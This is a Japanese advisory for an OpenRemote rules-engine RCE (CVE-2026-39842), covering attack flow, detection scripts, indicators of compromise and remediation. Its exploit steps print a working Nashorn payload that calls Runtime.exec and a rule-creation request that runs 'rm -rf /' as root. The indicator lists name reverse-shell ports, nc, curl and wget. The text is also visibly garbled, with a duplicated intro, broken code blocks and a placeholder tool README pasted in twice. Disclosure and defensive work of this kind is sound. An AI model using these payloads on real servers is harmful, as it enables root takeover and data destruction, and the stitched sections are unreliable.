
OpenRemoteのRules Engineにおける重大なリモートコード実行の脆弱性により、`write:rules`ロールを持つ認証済みユーザーが、サーバー上でroot権限を持つ任意のコードを実行できる可能性があります。
OpenRemoteのルールエンジンにおける重大なリモートコード実行の脆弱性により、write:rules ロールを持つ認証済みユーザーがサーバー上でroot権限を持つ任意のコードを実行できます。
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HOpenRemoteは、スマートビルディング、スマートシティ、スマート産業を構築するためのオープンソースのIoTプラットフォームです。デバイス管理、自動化ルール、分析、およびIoTエコシステム向けの統合機能を提供します。
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘
## 脆弱性の詳細分析
### 根本原因の分析
この脆弱性は、OpenRemoteのルールエンジンにおける2つの重大な欠陥に起因します。
**欠陥1: サンドボックス化されていないNashorn JavaScriptエンジン**
JavaのNashorn JavaScriptエンジンは、ユーザーが提供したルール式を、サンドボックス化、セキュリティマネージャー、またはClassFilterによる制限なしに評価するために使用されます。これにより、攻撃者はJavaScriptコンテキストからJavaクラスに直接アクセスできます。
**欠陥2: 無効化されたGroovyサンドボックス**
Groovyスクリプトエンジンには、コード実行を防ぐためにGroovyDenyAllFilterが登録されていましたが、このフィルタ登録はコードベース内でコメントアウトされていました。APIレベル(RulesResourceImpl.java:262)ではGroovyの強制のみが存在し、JavaScriptには制限がありませんでした。
### 脆弱なコードパス```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
この脆弱性は、write:rules ロールを持つ認証済みユーザーに影響します。RulesResourceImpl.java:262 の認可チェックは、スーパーユーザー以外のユーザーに対してのみ Groovy をブロックします。```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
つまり:
- 非スーパーユーザーでもJavaScriptルールを作成可能(ブロックなし)
- 非スーパーユーザーはGroovyルールを作成不可(ブロックされる)
- JavaScriptにはサンドボックスがないため、write:rules権限を持つ認証済みユーザーであれば誰でも悪用が可能
さらに、assetStorageServiceに対するリフレクションを介してマルチテナント分離をバイパスし、他のレルムのデータにアクセスできます。
### 攻撃フロー```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
ステップ 1: write:rules 資格情報の取得
認証済みユーザーには write:rules ロールが必要です。これは次のいずれかになります:
ステップ 2: JavaScript ペイロードの作成
Java Runtime にアクセスする JavaScript を使用してルール式を作成します:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;
**ステップ3: 脆弱なエンドポイントへ送信**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
ステップ4: ルール実行
プラットフォームはルールを即時またはスケジュールされたトリガー時刻に評価し、root権限でペイロードを実行します。
ステップ5: ポストエクスプロイテーション
rootとしてのRCEにより、攻撃者は以下を行うことができます:
認証された攻撃者は、OpenRemoteサーバー上でroot権限を持つ任意のコードを実行します。これは最高の重大度の影響であり、システムの完全な侵害を可能にします。``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)
#### ファイルシステムアクセス
システム上のすべてのファイルへの完全な読み取り・書き込みアクセス:
- アプリケーションのソースコード開示
- 機密設定ファイル(データベースパスワード、APIキー)
- システムファイルと認証情報
- Dockerコンテナファイル(コンテナ化されている場合)
#### 環境変数の窃取
以下を含む環境変数へのアクセス:
- データベース接続文字列
- APIキーとトークン
- OAuthシークレット
- プライベート暗号化キー
- AWS/クラウド認証情報
#### データ侵害
マルチテナント環境では、攻撃者はリフレクションを介してテナント分離を回避できます:
- すべてのテナントから同時にデータへアクセス
- 機密のIoTセンサーデータの読み取り
- 組織をまたいだ自動化ルールの改変
- ビジネスインテリジェンスと専有情報の抽出
#### システム整合性
- 永続的なバックドアのインストール
- マルウェアの展開
- ランサムウェアの実行
- サプライチェーン侵害(開発環境で使用されている場合)
#### サービス妨害
- リソース枯渇によるサービス拒否
- データベースの削除または破損
- 設定の改ざん
- システムのシャットダウンまたは再起動
---
## 影響を受けるバージョン
| バージョン | ステータス | 備考 |
|---------|--------|-------|
| <= 1.15.0 | 脆弱 | 元の脆弱性が存在 |
| 1.16.0 | 脆弱 | 修正は適用されていません |
| 1.17.0 | 脆弱 | 修正は適用されていません |
| 1.18.0 | 脆弱 | 修正は適用されていません |
| 1.19.0 | 脆弱 | 修正は適用されていません |
| 1.20.0 | 脆弱 | 修正は適用されていません |
| 1.21.0 | 脆弱 | 最後に影響を受けたバージョン |
| 1.22.0+ | 修正済み | JavaScriptルールエンジンが完全に削除されました |
### バージョン詳細
- **脆弱な範囲**: 1.0.0から1.21.0(JSルールエンジンを含むすべてのバージョン)
- **修正バージョン**: 1.22.0(JavaScriptルールエンジンが完全に削除されました)
- **バックポート**: 旧バージョン向けのセキュリティバックポートはありません。アップグレードが必要です
---
## 検出
### 仕組み
検出メカニズムは、複数の方法でOpenRemoteインスタンスを特定し、脆弱性のステータスを確認します:
1. **HTTPバナーディテクション**: APIルートエンドポイントにクエリを送信し、OpenRemoteを特定してバージョン情報を抽出します
2. **エンドポイントフィンガープリンティング**: 脆弱なエンドポイントの存在と動作をテストします
3. **バージョン相関**: 検出されたバージョンを既知の脆弱性範囲と比較します
4. **レスポンス分析**: OpenRemoteのシグネチャを示すエラーメッセージとレスポンス構造を調査します
### Pythonスキャナー
`detect_openremote.py` スキャナーは、自動検出と脆弱性評価を実行します。
#### インストール```bash
python3 -m pip install requests
python3 detect_openremote.py [OPTIONS]
#### オプション
| オプション | 短縮形 | 長縮形 | 型 | 説明 |
|--------|-------|------|------|-------------|
| ターゲット | -t | --target | string | 単一ターゲットURL(例:http://10.0.0.1:8080) |
| リスト | -l | --list | file | ターゲットのリストを含むファイル(1行に1つ) |
| 出力 | -o | --output | file | 結果をCSVファイルに書き込む |
| 詳細表示 | -v | --verbose | flag | 詳細なレスポンスを含む詳細出力を有効にする |
| タイムアウト | | --timeout | int | HTTPリクエストのタイムアウト秒数(デフォルト:10) |
| バナー | | --no-banner | flag | バナー表示をスキップする |
#### 例:単一ターゲット```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose
# リポジトリをクローン
git clone https://github.com/yourusername/yourtool.git
cd yourtool
# 依存関係をインストール
pip install -r requirements.txt
# ツールを実行
python main.py --help
# 基本的なスキャン
python main.py -t target.com
# 詳細な出力
python main.py -t target.com -v
# 出力をファイルに保存
python main.py -t target.com -o results.txt
| オプション | 説明 |
|---|---|
-t | ターゲットのURLまたはIPアドレス |
-v | 詳細モードを有効にする |
-o | 出力ファイルを指定する |
-h |
# 単一のターゲットをスキャン
python main.py -t example.com
# 複数のターゲットをスキャン
python main.py -t example.com -t example2.com
# 詳細モードでスキャン
python main.py -t example.com -v
このプロジェクトはMITライセンスの下で公開されています。詳細についてはLICENSEファイルを参照してください。``` [*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+
#### 例:複数のターゲットと出力```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15
File targets.txt:```
http://192.168.1.100:8080
http://192.168.1.101:8080
https://openremote.example.com:8443
http://10.20.30.40:8080
| 期待される出力は `results.csv` にあります:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner
期待される詳細な出力:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
Response Code: 200
Server: Apache
Content-Type: text/html
[*] Checking /api/info
Response Code: 200
Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES
openremote-detect.nse スクリプトは、脆弱性スキャンのための Nmap 統合を提供します。
cp openremote-detect.nse /usr/share/nmap/scripts/ nmap --script-updatedb
#### 使用方法```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>
nmap -p 8080 --script openremote-detect 192.168.1.0/24
## インストール
```bash
# リポジトリをクローン
git clone https://github.com/yourusername/yourtool.git
cd yourtool
# 依存関係をインストール
pip install -r requirements.txt
# ツールを実行
python main.py --help
# 基本的なスキャン
python main.py -t target.com
# 詳細な出力
python main.py -t target.com -v
# 出力をファイルに保存
python main.py -t target.com -o results.txt
MITライセンスの下で配布されています。詳細については、LICENSEファイルを参照してください。```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.21.0
| Vulnerable: YES
| CVE: CVE-2026-39842
|_ CVSS: 10.0 Critical
Nmap scan report for 192.168.1.101 Host is up (0.0031s latency). 8080/tcp open http-proxy | openremote-detect: | Status: OpenRemote Detected | Version: 1.22.1 | Vulnerable: NO | Fixed Version: 1.22.0 |_ Status: Patched
#### 例: 詳細スキャン```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
期待される詳細な出力:``` | openremote-detect: | Host: 192.168.1.100:8080 | Detection Method: HTTP Banner Analysis | Probe Endpoint: /api/info | Response Code: 200 | Version: 1.21.0 | Version Detected: YES | Vulnerable: YES | CVE-2026-39842: AFFECTED | CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | CVSS Score: 10.0 | Fix Available: YES | Fixed Version: 1.22.0 | Authentication Required: YES | Endpoint Vulnerable: POST /api/{realm}/rules/realm |_ Endpoint Vulnerable: POST /api/{realm}/rules/asset
### 手動検証
curlを使用して手動チェックを実行し、脆弱性を検証します:
**1. OpenRemoteのバージョンを特定する**```bash
curl -s http://target:8080/api/info | jq .
The -p flag is used to specify the port number, and the -s flag is used to specify the scan type. The -o flag is used to specify the output file, and the -v flag is used to enable verbose mode. The -h flag is used to display the help message.```json
{
"version": "1.21.0",
"name": "OpenRemote",
"instanceId": "instance-123"
}
**2. ルールエンドポイントの確認**```bash
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/master/rules/realm | head -20
If returns 401 or 403, endpoint exists but needs authentication.
3. Authenticate and Test Expression Injection```bash
curl -X POST
-H "Content-Type: application/json"
-H "Authorization: Bearer YOUR_TOKEN"
-d '{
"name": "test_rule",
"trigger": "timer",
"ruleExpression": "1 + 1"
}'
http://target:8080/api/master/rules/realm
If successful creation and version <= 1.21.0, the instance is vulnerable.
**4. JavaScript 実行のテスト(概念実証)**```bash
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "poc_rule",
"trigger": "timer",
"ruleExpression": "var x = 5; x * 2;"
}' \
http://target:8080/api/master/rules/realm
5. レルム名の特定```bash
curl -s -H "Authorization: Bearer TOKEN"
http://target:8080/api/admin/realms | jq .[].name
Common realm names: `master`, `default`, `main`
---
## 侵害指標(IoC)
### ログ指標
アプリケーションログで以下のパターンを検索してください:
**JavaScriptペイロードを含むルール作成**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
ルール内でのコマンド実行の試み``` Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
**Javaからの予期しないプロセス実行**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
ファイルシステムアクセス異常``` Pattern: Unexpected file reads from application directory Files to monitor:
**データベースアクセスパターン**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
OpenRemoteプロセスからのアウトバウンド接続``` netstat -tlnp | grep -i java Look for: Unexpected ESTABLISHED connections Example: java process connecting to external C2 servers
**リバースシェルコールバック**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
横方向の移動の試み``` Pattern: Connections to internal resources (databases, APIs) From: OpenRemote process To: Database servers, internal APIs, SSH services
### ファイルシステムの指標
**OpenRemoteディレクトリ内の不審なファイル**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
改変されたOpenRemoteバイナリ``` find /opt/openremote -type f -newer /opt/openremote/VERSION.txt find /opt/openremote -name "*.jar" -exec sha256sum {} ; | compare with known hashes
**Cron または永続化ジョブ**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
疑わしい環境変数``` cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
**メモリ常駐ペイロード**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
1. 修正版へのアップグレード
完全な修正はOpenRemote 1.22.0以降でのみ利用可能であり、このバージョンではJavaScriptルールエンジンが完全に削除されています。```bash
cp -r /opt/openremote /opt/openremote.backup.1.21.0 mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql
wget https://releases.openremote.io/openremote-1.22.0.tar.gz tar -xzf openremote-1.22.0.tar.gz -C /opt/ systemctl restart openremote
curl -s http://localhost:8080/api/info | jq .version
**2. API アクセスを制限する**
直ちにアップグレードできない場合は、ファイアウォール/リバースプロキシレベルで脆弱なエンドポイントへのアクセスを制限します。```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
return 403;
}
3. アクティブなルールの監査
既存のルールをすべて一覧表示し、不審なJavaScriptがないか確認します。```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/master/rules/realm |
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
Delete any rules containing Java interop:```bash
curl -X DELETE \
-H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm/{RULE_ID}
4. アクセスログの確認
過去30日間の悪用試行を確認します:```bash
grep -r "rules/realm|rules/asset" /opt/openremote/logs/ |
grep -i "java|runtime|exec|type"
**5. 認証情報のローテーション**
潜在的に漏洩した可能性のあるすべての認証情報をローテーションします:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
1. ネットワークセグメンテーション
OpenRemote APIへのアクセスを承認されたネットワークのみに制限します:```
**2. ロール監査**
`write:rules` ロールを持つユーザーを確認し、最小化します:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/admin/users | \
jq '.[] | select(.roles | contains("write:rules"))'
Remove write:rules ロールを、必須ではないすべてのユーザーから削除します。
3. リクエストログの有効化
すべてのAPIリクエストに対して詳細なログを設定します:```yaml
logging.level.org.openremote.manager.rules=DEBUG logging.level.org.openremote.manager.rules.RulesResource=TRACE
**4. データベース監査**
特定の日付以降に作成された悪意のあるルールをデータベースで検索します:```sql
SELECT id, name, ruleset_def, created_on
FROM RULE
WHERE created_on > '2026-04-01'
AND (
ruleset_def LIKE '%Java.type%'
OR ruleset_def LIKE '%Runtime%'
OR ruleset_def LIKE '%exec%'
);
5. 脅威ハンティング
OpenRemoteサーバーに対して完全なセキュリティスキャンを実行します:```bash
clamscan -r --remove /opt/openremote/
chkrootkit rkhunter --check --skip-warnings
aide --check
### 長期的な対策(7〜30日)
**1. システムの堅牢化の完了**
- 制限付き権限(非root)でOpenRemoteをコンテナ内で実行する
- SELinuxまたはAppArmorポリシーを実装する
- 可能な場合は読み取り専用ファイルシステムを使用する
- システムレベルで監査ログを有効にする
**2. アクセス制御の実装**
- 管理者ユーザーに多要素認証を実装する
- トークン認証の代わりにAPIアクセスにOAuth2/OIDCを使用する
- すべてのロールに最小権限の原則を実装する
- 定期的なアクセスレビューと認定
**3. アプリケーションセキュリティ**
- ルールエンジンにWebアプリケーションファイアウォール(WAF)ルールを実装する
- 機密性の高いエンドポイントでリクエストレート制限を有効にする
- リクエストサイズ制限を実装する
- すべてのユーザー入力を厳密に検証する
**4. 監視とアラート**
SIEM検出ルールを展開する:```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
5. インシデント対応計画
インシデント対応手順を作成し、テストします:
6. 継続的な監視
継続的なセキュリティ監視を実装します:```bash
nmap -p 8080 --script openremote-detect
$(cat /etc/openremote/monitored_hosts.txt)
--script-args 'onerror=continue'
-oX /var/log/openremote-scan.xml
if version <= 1.21.0; then send_alert "CVE-2026-39842: Unpatched OpenRemote detected" fi
---
## 参考文献
- **公式アドバイザリ**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **CVEレコード**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **NVDエントリ**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **OpenRemoteリポジトリ**: https://github.com/openremote/openremote
- **OpenRemoteセキュリティ**: https://openremote.io/security
- **CWE-94 コードインジェクション**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 ELインジェクション**: https://cwe.mitre.org/data/definitions/917.html
- **CVSS計算ツール**: https://www.first.org/cvss/calculator/3.1
- **Nashornセキュリティ**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html
---
## 著者
**Kerem Oruc**
セキュリティ研究者、脆弱性情報開示
本脆弱性に関する質問、報告、または追加情報については、責任ある情報開示のチャネルを通じて著者にご連絡ください。
---
**最終更新日**: 2026-04-16
**バージョン**: 1.0
**ステータス**: 公開
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-39842 |
| GHSA ID | GHSA-7mqr-33rv-p3mp |
| 脆弱性の種類 | コードインジェクション / 式言語インジェクション |
| CVSSスコア | 10.0(Critical) |
| CWE | CWE-94、CWE-917 |
| 製品 | OpenRemote |
| 影響を受けるバージョン | <= 1.21.0 |
| 修正済みバージョン | >= 1.22.0 |
| 認証の必要性 | あり |
| 必要な権限レベル | write:rules ロール(スーパーユーザー以外) |
| 脆弱なエンドポイント | POST /api/{realm}/rules/realm、POST /api/{realm}/rules/asset |
| RCE実行レベル | root |
| 悪用可能性 | 高 |
| 複雑性 | 低 |
| 発見日 | 2026 |
| ヘルプを表示する |